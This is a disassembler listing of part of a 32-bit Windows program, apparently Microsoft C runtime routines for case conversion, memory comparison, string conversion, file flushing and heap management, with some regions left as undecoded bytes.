sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB9E4
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB9E4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBB4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9A8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBB4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9A8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB9E4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBB4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9A8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB9E4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB9E4, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB9F4
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2670E94h
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB928, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9A8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB9F4
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB9E4, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB9F4
		nop
		call	near ptr 2820000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 0B0h
		dd 68493202h, 8AD81DADh, 193BACE5h, 0A1649FD4h,	0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 62E890E8h, 33024740h, 89D48AD2h
		dd 4DB94015h, 81C88B00h, 0FFE1h, 3C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9380D89h, 0E8C1004Dh, 0B934A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 473FE4E8h, 0CFCCA302h,	19E8004Dh
		dd 0A3000058h, 4DB998h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024726h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0BE89056h, 5002262Bh, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9A0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A970
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9A0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCD80
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2650937h
		test	eax, eax
		jnz	short loc_41DAEB
		call	near ptr 2670E94h
		nop
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC60, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC48
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC60
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2680506h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26C04ECh
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 483428E8h
		dd 0A3C08502h, 4DCFC4h,	93E83674h, 83FFFFFEh, 0C8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFC435FFh, 49E8004Dh
		dd 90024832h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFC4h
		dd 21BEE890h, 0C0850238h, 4DCFBCA3h, 0C3017500h, 4244C8Bh
		dd 0CFB42583h, 8300004Dh, 4DCFB825h, 16A0000h, 4DCFB0A3h
		dd 0C00D8900h, 0C7004DCFh, 4DCFA805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFB8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFBC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
